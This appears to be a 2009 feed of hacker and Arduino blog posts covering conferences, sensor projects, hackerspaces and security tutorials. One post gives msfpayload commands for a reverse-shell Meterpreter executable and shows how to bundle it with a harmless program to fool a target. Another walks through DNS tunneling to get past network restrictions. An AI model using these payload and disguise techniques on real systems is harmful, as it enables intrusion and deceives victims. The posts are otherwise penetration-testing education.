Apparently there are some problems changing your MAC address in versions of OS X 10.5.6 and latter. Stefan Person sent me a note about it, so I added it to the article.

Also, Mubix recently did a presentation for Dojo Sec on getting a job in information security. In it he mentions my article on how to cyber stalk potential employers. Thank much Rob!

link

My laptop died late last night.  It appears to have sustained heat damage to the motherboard.   The wireless, sound and CD ROM are not detected.  The GPU also appears to be damaged, as it is not rendering correctly.  Luckily my data is still intact. This was my only computer, so this will up a slight delay [...]

link

Another post on Pachube and how easy it is to get setup and going. This post will cover the basic steps on how to get some sensors online!  I will be using my project of two light sensors as an example.  The status of my light sensors are viewable at http://www.pachube.com/feeds/2145 Pachube + Arduino from Morgellon [...]

link

Quick update before I zonk out…  Yesterday I setup an account for Pachube and spent all night getting familiar with how it works. Pachube describes itself as a service that enables you to connect, tag and share real time sensor data from objects, devices, buildings and environments around the world. The key aim is to [...]

link

So, you have a *great* idea for an Arduino project… you’ve thought about what parts you will need and how they will work… but where will you find the parts?… and are you sure that’s the right resistor value?! Today I would like to share a few tools that I use to help me, when I [...]

link

That’s right, we are still alive!  I can’t stand the pain of not posting any longer, so I thought I would make the time to do a brief update. Things have been quite action packed and distracting for me!  A recent move has not helped with the distraction factor either, lol. Between work, packing and unpacking, [...]

link

Val Smith recently wrote a post on the new Attack Research / carnal0wnage blog titled:
”Security Conferences, pen tests and incident response”

Here are my thoughts on what he wrote:

In paragraphs 2-6 he talks about two points. The first being that Hacker Conferences have become sort of commercialized with most speakers going for their day in the lime light or to pimp some product/0day. And the second being a lot of the talks are things that most can’t go home / back to work and test out or implement.

I agree with him on both points.

On the first point I think that one detail was left out of this evaluation. Size. Back when DEFCON was <500 people, almost everyone knew each other. 90% of those attending had the passion, had the fire for that what makes our line of work such an art. Now that our community has become “popular”, that percentage is around 20-30%. These numbers aren’t based on any stats, just something that I have been observing as well.

On the second point, my first security conference was ShmooCon ‘06. I was glued to might seat in each talk I attended, and in just 3 short years I have seen EXACTLY what he’s talking about. I used to have to decide between awesome talks in the same hour. Now I actually find times where I’m not interested in anything being presented for that hour. But, rooms still get packed so I guess that’s just my own pickiness.

Penetration Testing and Incident is the second portion of his post and I really think he’s hit the nail on the head, Pen Testing and Incident Response should work closely together. I want to throw Vulnerability Assessment and Forensics into the mix as well, feeding each other, sharing data, and assisting. The segmentation of duties / teams is killing collaboration.

Lets get back to the basics, and really show what this community is capable of.

No related posts.

---

© mubix for Room362.com, 2009. | Permalink | One comment | Add to del.icio.us
Post tags: attackresearch, carnal0wnage, conferences, defcon, pentesting, Rant, shmoocon, valsmith

link

Link: XSS, Command and SQL Injection vectors: Beyond the Form
We are all familiar with XSS via a form field in a web application, but what about other vectors? The article talks about using User Agent strings, even logs, object properties and other odd alternative vectors for XSS, SQL and command injection. What other vectors can you think of?

link

Outerz0ne and Notacon 2009 Hacker Cons Report
I did some recording of the goings on at the Notacon and Outerz0ne 2009 hacker cons. If you want to get a feel for these cons, check out the video.

link

New video:Hacker Con WiFi Hijinx Video: Protecting Yourself On Potentially Hostile Networks
This is a presentation I gave for the Kentuckiana ISSA on May 8th, 2009. It covers the basics of protecting yourself when using open WiFi on a potentially hostile networks, most notable Hacker cons, but also coffee shops, libraries, airports and so forth. Topics include: open file shares, unneeded services, sniffing and evil twin attacks. The talk is based on the Hacker Con HiJinx tri-fold I wrote awhile back.

link

Dark0perator and I will be giving a workshop at ToorCamp coming up July 2nd-5th:

You can find us on the ToorCamp site: http://www.toorcamp.org/content/W13

Here is the description of our talk, save the bio(s):

The Art of Pivot and Persistence:

Shell is only the beginning.

This workshop is based on the assumption that you have some level of access on a target system. From that it is demonstrated how to go from that level of access to taking over the whole company and how to keep that access, surviving reboots, AV scans, and even reimaging. The following levels of access is covered:

1. Domain Administrator access on a domain controller
2. Local Administrator access on a client machine
3. Root on a Database server
4. Root on a Web server
5. User on a client machine
6. User on a Database server
7. User on a Web server

No related posts.

---

© mubix for Room362.com, 2009. | Permalink | No comment | Add to del.icio.us
Post tags:

link

Mutillidae 1: Setup
Mutillidae is a deliberately vulnerable set of PHP scripts I wrote to implement the OWASP Top 10 web vulnerabilities. I plan to use these scripts to illustrate common web app attacks in a series of future videos. The easiest way to get up and running with Mutillidae is to use XAMPP, an easy to install Apache distribution containing MySQL, PHP and Perl. This first video covers setting up Mutillidae, which can be downloaded from:
&nbsp;http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10

link

Spent the day working with DS18B20 temperature sensors and getting an Arduino to read the data they spit out.  Lucky for me and you, we have the shoulders of giants to stand upon as we copy and paste some magical code to get us started! DS18B20 Temperature Sensors + Arduino from Morgellon on Vimeo. The DS18B20 is [...]

link

Finally gotten around to posting some pictures and video from the Flourish Conference, in Chicago IL.  Flourish was a blast, Droops and I had a wonderful time with all the great people that we met. Massimo Banzi at Flourish ‘09 from Morgellon on Vimeo. Processing Workshop at Flourish ‘09 (pt1) from Morgellon on Vimeo. Processing Workshop at Flourish [...]

link

Link: Mutillidae: A Deliberately Vulnerable Set Of PHP Scripts That Implement The OWASP Top 10 Updated
Added the activity log section so I could show off stored user agent XSS, added information on cookie stealing with XSS to the tips section, added catch.php to show how to grab data after an XSS and did a few other minor little tweaks. Also, I changed some of the text around to include the "Ate up with suck" slogan.

As a side note, I hope to see some of you at Notacon this year.

link

There has been quite a flurry of development revolving around the official ethernet shield recently. Here are what I consider a few of the more important changes. Ethernet fixes - There are some connection issues with the ethernet library with regard to incomplete disconnects. Since the wiznet chip only supports 4 simultaneous connections, this manifests itself [...]

link

What a short strange trip its been. I work at a small private military school with a really fun summer camp/school program. I asked the principal the other day if I could teach an Arduino class this summer, fully expecting to have to explain what it was and how I would do it, [...]

link

Here’s another video from last weekend’s RepRap adventure! This time Graxe describes the communications and controller boards, how they work and what they do.  He’s using a bootable USB drive that contains all the software needed to work and communicate with the RepRap.  Graxe also explains how one loads a file for printing and what type [...]

link

Here is a script that I modified from a contact online, weex of the  TryGNULinux.com podcast ,script .  It takes a wav file and gives you a mp3 and ogg file output.  It will embed album art into the mp3 version and set your genre as Podcast.  This script requires lame, oggenc, and eyed3 to [...]

link

Looks like Massimo Banzi, one of the co-founders of the Arduino was interviewed this week on FLOSS Weekly.  A great interview, I highly recommend you jump over to the FLOSS Weekly site and give it a listen! Go download the interview at FLOSS Weekly: http://twit.tv/floss61

link

Saw this pop up on Evil Mad Scientist Laboratory’s Twitter feed (http://twitter.com/EMSL) and thought it was worth sharing. Looks like there is a new Arduino in the works… the Arduino Mega?! Here are the “reported” specs… but please keep in mind, this is not official and I could be totally wrong! The Mega is an Arduino processor ATMEGA1280 [...]

link

So, I like to lurk in the #arduino IRC chatroom on freenode.net.  While in there the other day I started talking with Graxe and he mentioned that he would be near my area and inquired if I was interested in the RepRap.  Needless to say, I didn’t hesitate on arranging a meet-up! So, Graxe was kind [...]

link

Last Friday (March 6th, 2009) I posed the question above. What I got in return was nothing short of amazing, and to tell you the truth, it amazed me how the tally rounded out. I categorized the answers and counted them up (MANAGERS, listen up!):

1. (12 votes) - Security Fundamentals: This category involves the application of A/V, IDS/IPS, basic safe surfing techniques, least privilege use, and an understanding of phishing. It astounds me that this is at the top of the list. I grouped all of these answers together because they truly are the BASICS of Information Security. Why after all these years have managers of security professionals not gotten this drilled into them to the point of bleeding? What are we doing wrong?
2. (8 votes) - Targeting: “We aren’t a target”, “There isn’t anything on saying we are getting attacked”. This is another that surprised me to be at the top of the list. How can managers not think that 1. that they are a target, and 2. think that because there aren’t any alarms going off, they aren’t getting attacked?
3. (6 votes) - Passwords: Complexity, not using stickies, rotation, etc. I left this out of Security Fundamentals, because it’s not an easy beast to over come. It’s something that definitely needs to be addressed and a plan set down for the application, enforcement and technology behind it.
4. (6 votes) - Compliance and Policy: Everyone in this category made it abundantly clear that compliance to a standard does NOT mean that you are secure, but not at least making the compliance bar is worse. Internal policies need to be created to provide a stricter regimen then the compliance checklist demonstrates.
5. (5 votes) - Accountability: From basic user to CEO and Security Analyst. Accountability has many faces but it usually shows none of them in the security world. Users of the world learn quick when one of coworkers get restricted access because they clicked test phishing  after they had just gone through phishing training.
6. (5 votes) - Defense In Depth: This is an old concept as well, but in recent years have been twisted to include DiD at host and network infrastructure level. The phrase Defense In Dept will continue to grow as the depths at which we can put protections on info systems grows. You need to realize that you ARE a target and you NEED to move with this evolution, not ignore it. Doing so doesn’t make it “go away”
7. (3 votes) - Users are stupid: I can’t believe that this even made it as an item. Managers, you seriously don’t understand that your weakest link on your network is the users?
8. (2 votes) - Data Layer Protection: Encryption. Even if the client data is stored on a super “secure” data node, that doesn’t mean somewhere between point A and point B isnt’ compromised. If it’s sensitive or secret, it needs to be treated as such at EVERY juncture where that data is transferred or can be accessed from.
9. (2 votes) - Risk Management: Managers, this is supposedly your specialty. Get back to it, they want you to be open to understand technically why this or that isn’t a threat.
10. (1 vote) - Company buy-in: I am truly surprised this didn’t make the top of the list. I personally think that company buy-in to security should precede the rest of the categories.

This is simply a top 10 list of things we as Security Professionals want you to know. It would not be hard to create training in your organization around these 10 categories. If you are a manager or one of us, get it started, make the slides and start getting these topics nailed down.

I have included the raw tweets from the poll so that you as managers can understand what your people want you to learn:

(...)
Read the rest of Manager Training Camp - Bootcamp Style (885 words)

---

© mubix for Room362.com, 2009. | Permalink | 3 comments | Add to del.icio.us
Post tags:

link

First I wanted to say, sorry for this and the last installment of Room362 being non-technical. They are topics that I feel strongly about and so felt impelled to share.

One of the biggest problems in the world, IMHO, are people who have unfounded hate. This is compounded by the anonymity of the Internet. Allowing that hate to have no reprocussion or identity. Let me also say I have a deep respect for Free Speech, the depths of which I fear, few truly know. What I don’t have a respect for is people who abuse that right. It’s ultimately a respect of your fellow man/woman/it, that transends any nationality, race, creed, or color.

Now that you know where I stand, let me step down to a slightly lower soap box. On my last post about ethics, I received a comment from an individual who posted under the guise of not only a false email and name, but also from a proxied address. They were on my side of the argument and were digusted with Dave’s. His/her/it’s post was pointed, rude, and had no constructive criticism or facts. It was deleted. It does not deserve a direct response. So I am issuing a response to all who tred here.

These types of posts are allowed to flow on other forums, blogs, and mediums of the Internet. They WILL NOT be allowed here. Period. 

You may think of me what you will, pompous, self righteous. I don’t care. I will keep my bit of the Internet clean how I see fit. 

Lastly, I hope I demonstrated this fact already, but I want to reiterate it here. I will never delete comments on any side of any discussion I have here, even if I disagree with the comment. I enjoy debat and discussion. I am religous in my faith fight for free speech and it’s application on the internet.

You have something to say fine. You better do it with respect or you can take your posts to slashdot, digg, or some other place. They won’t see the light of day here.

No related posts.

---

© mubix for Room362.com, 2009. | Permalink | 9 comments | Add to del.icio.us
Post tags: anonymous, Rant, rules

link

link

Hak5 Episode 504 Shownotes

(In the episode I say that it’s cross platform, use the release links for the Windows binaries to get it working on windows or use cygwin)

DNS Tunneling isn’t new. Dan Kaminsky’s post for OzymanDNS’ release was July 29th 2004 (There was DNS Tunneling linux packages dating back to the late 90s even). I will however comment that it’s still in it’s release version, but very functional. Also, DNS Tunnel isn’t “Big News” so it really hasn’t been ‘mitigated’ anywhere yet. Everywhere I have tested it, it has worked, even behind a certain switch that rhymes with ‘Panera’

What does OzymanDNS do? It has two parts, server, and client. The server is a set and forget. It sits there waiting for a connection (caveat: from anywhere) But we are getting ahead of ourselves, lets setup up DNS first.

(I’m going to assume that you have a SSH server somewhere that you have already setup)

Step 1 - DNS Setup:

Each “Domain Manager” or DNS Server has a different set up,  So I’m not going to go into the details. The jist of the change you need to make is either make a domain or a subdomain that points it’s nameserver records towards the host that you are running your server on.  

ihaztunnel.room362.com IN NS mubixpwnsyour.homedns.org

In this example we have setup a subdomain called “ihaztunnel” and set it’s Name Server Record pointing to a dynamic dns host that points at the location of my OzymanDNS server. 

Step 2 - Server Setup:

You need Perl, the MIME::Base32, and Net::DNS modules. After that you just run nomde.pl from whatever directory that you extracted the OzymanDNS scripts with the following context:

./nomed.pl -i 0.0.0.0 ihaztunnel.room362.com

This tells it to listen on any IP the host has (you can specifiy one if you wish), and tells it the DNS name that it’s supporting. Don’t forget to do port forwarding on your router or whatever may be in the way of port 53 UDP and TCP coming inbound. Also keep in mind that your ISP may be blocking, so field test the connection before you try to use it in the wild. 

Step 3 - Client Connection:

For the client, the setup is the same, get perl, the modules and OzymanDNS. Then you run the following command:

ssh -D 8080 -C -o ProxyCommand=”/home/mubix/ozymandns/droute.pl whatever.ihaztunnel.room362.com” room362.com

Breaking this command down: 

1. “-D 8080″ starts SSH tunneling (Socks Proxy) on port 8080 once a connection is made.
2. “-C” requests compression so that we can get the best speeds possible.
3. “-o ProxyCommand” sets the SSH option to the location of the droute.pl script and…
4. “whatever.ihaztunnel.room362.com” the ‘whatever’ portion of this is the important part. It can be whatever you want it to be but the “magic” happens by adding this subdomain of the one you already set up.
5. “room362.com” the hostname or IP of the SSH server that you will be tunneling through.

If all worked out, you will get prompted to enter your password. That’s it folks. Now you can use FoxyProxy or just your standard proxy settings to use the tunnel. Or, you can use product that, IMHO, is well worth the 30 bucks for the PORTABLE EDITION: Proxifier. It hooks the OS and makes every connection go through the proxy (games, IM, Java, Flash). 

 

Notes:

http://www.dnstunnel.de/ - A site that has an in-depth walk-through of setting up OzymanDNS if I didn’t answer all of your questions. They even have a script that will make OzymanDNS a service on Linux boxes

http://thomer.com/howtos/nstx.html - A write up on NSTX which doesn’t require SSH but doesn’t look like it’s still  in production. It is however in the Ubuntu and Gentoo repositories so feel free to mess with it there, and since Back|Track 4 is now Ubuntu based you may be able to get it set up on BT4 as well.

Iodine:
http://code.kryo.se/iodine/ - Another DNS Tunneling project that looks to be the most up to date. I haven’t tested it out to make sure it functions.

Dns2tcp:
http://www.hsc.fr/ressources/outils/dns2tcp/index.html.en - Another DNS Tunneling Project

And if DNS isn’t your thing and you want to tunnel over HTTP, check out Corkscrew:  http://www.agroman.net/corkscrew/

No related posts.

link

WOW… Back from Outerz0ne and managed to catch up on sleep!  I had a fantastic time with all the wonderful people attending Outerz0ne. I’ve finally uploaded the video of my talk, so go check it out! You may notice that the few slides I use look very similar to the Phreaknic slides.  That’s because they are [...]

link

Video from Outerz0ne 5: Outerz0ne 5 Closing
Prepare your liver for the apocalypse.

link

Video from Outerz0ne 5: Scott Moulton - Reassembling RAID by SIGHT and SOUND!
RAID is a great technology and in many cases is suppose to keep our data safe. What happens when it fails? RAID Arrays are one of the most painful things to reassemble. RAID 0 and RAID 5 software reassemblies have problems with Slice Sizes, and Drive Orders and in many cases, the user has no idea what the settings are. What do you do when you don’t know the Slice Size and Drive Orders and you need the data from damaged drives? Well here is a demonstration of a way to determine this using Sight and Sound. I crammed as much on the subject as I can into a 50 minute presentation with Demos.

link

Video from Outerz0ne 5: Presmike &amp; Sippy - RETRI:Rapid Enterprise Triaging
The first part of this presentation presents a new paradigm for the Incident Response process called Rapid Enterprise Triaging (RETRI), where the primary objective is to isolate the infected network segment for analysis without disrupting its availability. Part two of this presentation will introduce a new Enterprise Incident Response tool that complements the RETRI paradigm. The tool is a free, possibly open source, agent-based tool that is deployed to the compromised segment to perform the traditional incident response tasks (detect,
diagnose, collect evidence, mitigate, prevent and report back). The tool will be released at Blackhat 2009 / Defcon 2009 if all goes well.For now you get screen shots.

link

Video from Outerz0ne 5: SlimJim100 - Live Demo of Cain &amp; Able and the Man-in-the-middle-attack
This talk will present a live demo of a man-in-the-middle-attack, using Cain &amp; Able.

SlimJim100, also known as Brian Wilson, has presented at ChicagoCon 3 times in the past. His resume is filled with 3, 4, and 5 letter certifications, and his reputation reflects his skills.SlimJim100 - Live Demo of Cain &amp; Able and the Man-in-the-middle-attack.

link

New Video: WiFiFoFum: Wardriving convenience in your pocket and uploading to Wigle
As regular Irongeek readers know, I’ve covered wardriving (the act of physically moving around in meatspace looking for WiFi access point) before. In this video, I want to cover another tool for wardriving: WiFiFoFum for the Windows Mobile platform.

link

Most of you Twitterholics have seen this beautiful status. You get a total of 100 API calls per Twitter account per hour. What happens if you use all of your afforded calls? You can just use http://www.twitter.com/ no problem right? Well you loose a lot of what makes Twitter clients so useful (search, grouping, instant updates.. etc).

Well, what if you leave you client up at home? TweetDeck by itself uses most of the API calls just by itself. So in this scenerio, you are destined (at least for that day) to spend it on the twitter site, which as we already discussed, leaves much to be desired.

Mom taught me never to point out a problem without suggeting a solution, so here is what I think would be an awesome addition to Twitter, that might have other advantages as well:

This is at the bottom of gmail. It allows you to see where else your account is being accessed from (IP). You can also click “Details”  and click to log out of all other sessions. This would be nice in twitter for a couple reasons. It would allow you to block/logout the client you left at home, but also check to make sure the IPs that are accessing the API on your behalf are your own.

Just a suggestion..

---

© mubix for Room362.com, 2009. | Permalink | 4 comments | Add to del.icio.us
Post tags: gmail, security, twitter

link

Hiding Meterpreter with IExpress from mubix on Vimeo.

Using the IExpress, a built in tool (XP, not sure about other Windows versions), we package two executables together, so that the target is less likely to suspect foul play. Now, I used calc.exe, but you can use anything on both sides of the coin. Use a better game so that it’s easyier to dupe, or a different malicious executable (leekspin perhaps?).

I’ll let your minds take this to the level I know you all are capable of. One caveat is that the icon for the executable is that of the self extractor, which shouldn’t be that much of an issue to change, but I don’t know off the top of my head of an app that does it, so please comment and let me know if you do.

Commands from video:

• ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=1080 X > /tmp/academy/bob.exe
• (For python 2.4+) python -m SimpleHTTPServer
• (For python 2.3 -) python -c “from SimpleHTTPServer import test; test()”
• Start -> Run -> iexpress <return>
• Run multi/hander from command line (not shown in video)

Links from video:

• http://www.metasploit.com/
• http://www.shell-fu.org/
• http://www.microsoft.com/technet/prodtechnol/ie/ieak/techinfo/deploy/60/en/iexpress.mspx?mfr=true
• http://www.virustotal.com/
• http://www.theacademypro.com/
• http://www.theacademyhome.com/

---

© mubix for Room362.com, 2009. | Permalink | No comment | Add to del.icio.us
Post tags: bob, iexpress, metasploit, Microsoft, vimeo, virustotal

link

It’s time to get out and spread the *duino love.  Droops and I (Morgellon), will speaking again at various computer conferences through out this year. I’ll be at Outerz0ne 5 in Atlanta, GA March 6th - 7th, 2009.  (kinda short notice, as it is next weekend…) My talk there is entitled, *Dunio-Punk! Manifesting Open Source in Physical [...]

link

Official Press Release: 

February 24th, 2009.  Kansas City, MO - The Cowtown Computer Congress (CCCKC) is happy to announce the opening of their Underground Lab to the public with a full week of events  Beginning on March 2nd, the grand opening showcase the rich and vibrant community of creative minds in the Kansas City area.   CCCKC, the first organization of its kind in the midwest, will serve the community by providing technology classes, donating unique projects to local organizations and technology assistance to those in need.

The week will kick off on Monday, March 2nd with an open house for individuals and organizations who are interested in learning more about the organization and how they can take advantage the Underground Lab for meetings, classes and other activities.

The creative talents of CCCKC members will be showcased on Wednesday March, 4th.  The member project showcase will be followed by a screening of Make:TV, a public television series which will be shown for the first time in the Kansas City area that night.  If you’re curious about what CCCKC and the maker culture are all about, this is the night to come be inspired.  Projects to be showcased range from alternative methods of energy generation to a labyrinth game which is controlled with the balance board from a Nintendo Wii Fit.

Thursday, March 5th is the regular member meeting where members come together to discuss group projects being developed for donation to local organizations and plan future community service projects like our monthly free computer repair opportunities.

Friday evening will feature a slate of speakers covering topics ranging from improving home security and information management to protecting data from theft while using public wireless internet.

On Saturday the public is invited to take part in a range of free workshops on basic electronics and soldering, e-textiles and Nintendo Wii hacking.  All day members will be available to assist members of the public choose, install and configure computers using the free and open source Linux operating system.

About The Cowtown Computer Congress

The Cowtown Computer Congress (CCCKC) is a not for profit technology cooperative founded to advance technology of all kinds.  They are a member supported organization providing technology classes, workshops and services to the public free of charge.  CCCKC brings together some of the finest minds in midwest to collaborate on research and projects for other local groups.  Through their affiliate program, CCCKC gives assistance to specialized technology user groups by providing them with a facility to hold meetings and work on projects of their own.

CCCKC’s Underground Lab is located 85 feet below the surface of the earth at 31st Street and Southwest Trafficway in Kansas City, Missouri.

http://www.cowtowncomputercongress.org

Further inquires should be made to:
press@cowtowncomputercongress.org or to
John Benson - President and Co-Founder
816-332-6389

So if you live in Kansas City or surrounding area, please go check out CCCKC. If you live in Washington D.C. or surrounding areas also check out http://www.hacdc.org/ and for all other locations around the world, check out http://www.hackerspaces.org/

link

Official Press Release: 

February 24th, 2009.  Kansas City, MO - The Cowtown Computer Congress (CCCKC) is happy to announce the opening of their Underground Lab to the public with a full week of events  Beginning on March 2nd, the grand opening showcase the rich and vibrant community of creative minds in the Kansas City area.   CCCKC, the first organization of its kind in the midwest, will serve the community by providing technology classes, donating unique projects to local organizations and technology assistance to those in need.

The week will kick off on Monday, March 2nd with an open house for individuals and organizations who are interested in learning more about the organization and how they can take advantage the Underground Lab for meetings, classes and other activities.

The creative talents of CCCKC members will be showcased on Wednesday March, 4th.  The member project showcase will be followed by a screening of Make:TV, a public television series which will be shown for the first time in the Kansas City area that night.  If you’re curious about what CCCKC and the maker culture are all about, this is the night to come be inspired.  Projects to be showcased range from alternative methods of energy generation to a labyrinth game which is controlled with the balance board from a Nintendo Wii Fit.

Thursday, March 5th is the regular member meeting where members come together to discuss group projects being developed for donation to local organizations and plan future community service projects like our monthly free computer repair opportunities.

Friday evening will feature a slate of speakers covering topics ranging from improving home security and information management to protecting data from theft while using public wireless internet.

On Saturday the public is invited to take part in a range of free workshops on basic electronics and soldering, e-textiles and Nintendo Wii hacking.  All day members will be available to assist members of the public choose, install and configure computers using the free and open source Linux operating system.

About The Cowtown Computer Congress

The Cowtown Computer Congress (CCCKC) is a not for profit technology cooperative founded to advance technology of all kinds.  They are a member supported organization providing technology classes, workshops and services to the public free of charge.  CCCKC brings together some of the finest minds in midwest to collaborate on research and projects for other local groups.  Through their affiliate program, CCCKC gives assistance to specialized technology user groups by providing them with a facility to hold meetings and work on projects of their own.

CCCKC’s Underground Lab is located 85 feet below the surface of the earth at 31st Street and Southwest Trafficway in Kansas City, Missouri.

http://www.cowtowncomputercongress.org

Further inquires should be made to:
press@cowtowncomputercongress.org or to
John Benson - President and Co-Founder
816-332-6389

So if you live in Kansas City or surrounding area, please go check out CCCKC. If you live in Washington D.C. or surrounding areas also check out http://www.hacdc.org/ and for all other locations around the world, check out http://www.hackerspaces.org/

---

© mubix for Room362.com, 2009. | Permalink | No comment | Add to del.icio.us
Post tags:

link

Continuing from the last sketch, I’ve done the same thing but in a different manner.  I still have Processing generate a square and when the mouse moves over the square it lights a LED on the Arduino, just as before.  Although this time, the only code on the Arduino is the “Standard Firmata” sketch. Processing interfaces [...]

link

(This is the 3^rd time I am writing this post, FF Fail, then Word crashed, so please excuse the lack of passion)

The moment that PDANet published that they released an updated version that allows USB tethering, I ran home and “QuickPWNd” my phone (which took all 5 minutes). Loaded the app and now I had the coveted TETHERING. I was free of my bind to Comcast or Free Public Wifi. However, over the next few months, my iPhone started getting slower and slower to respond. Crashes happened on apps that never had a problem before (including Safari). It would even crash on incoming calls.

5 minutes ago (now more like 20), I had it crash again and slow responsiveness down to unbearable speeds. (2 minutes from touch to fully started app). When I had an internal debate: Would I go home and de-PWN it, or deal with it? With that same thought I realized that at the core of most of the technologies we use today, Windows, Twitter, MySpace (now Facebook), is an underlying need, freedom, or other feature that they provide that makes them ‘bearable’.

Twitter’s FAIL WHALE is famous because Twitter crashes or is down A LOT. Why do you still use it? Windows is an utter mess of code and BSOD even had a hardware device made for it. Why do you still use it? MySpace… yah… you get the point.

I’m not going to revert my iPhone back. You know why? Because the freedom that it provides me, (like typing a blog post for the 3^rd time going 65 miles an hour in the back seat of a car) is worth it, to me.

link

(This is the 3^rd time I am writing this post, FF Fail, then Word crashed, so please excuse the lack of passion)

The moment that PDANet published that they released an updated version that allows USB tethering, I ran home and “QuickPWNd” my phone (which took all 5 minutes). Loaded the app and now I had the coveted TETHERING. I was free of my bind to Comcast or Free Public Wifi. However, over the next few months, my iPhone started getting slower and slower to respond. Crashes happened on apps that never had a problem before (including Safari). It would even crash on incoming calls.

5 minutes ago (now more like 20), I had it crash again and slow responsiveness down to unbearable speeds. (2 minutes from touch to fully started app). When I had an internal debate: Would I go home and de-PWN it, or deal with it? With that same thought I realized that at the core of most of the technologies we use today, Windows, Twitter, MySpace (now Facebook), is an underlying need, freedom, or other feature that they provide that makes them ‘bearable’.

Twitter’s FAIL WHALE is famous because Twitter crashes or is down A LOT. Why do you still use it? Windows is an utter mess of code and BSOD even had a hardware device made for it. Why do you still use it? …you get the point.

I’m not going to revert my iPhone back. You know why? Because the freedom that it provides me, (like typing a blog post for the 3^rd time going 65 miles an hour in the back seat of a car) is worth it, to me.

---

© mubix for Room362.com, 2009. | Permalink | No comment | Add to del.icio.us
Post tags:

link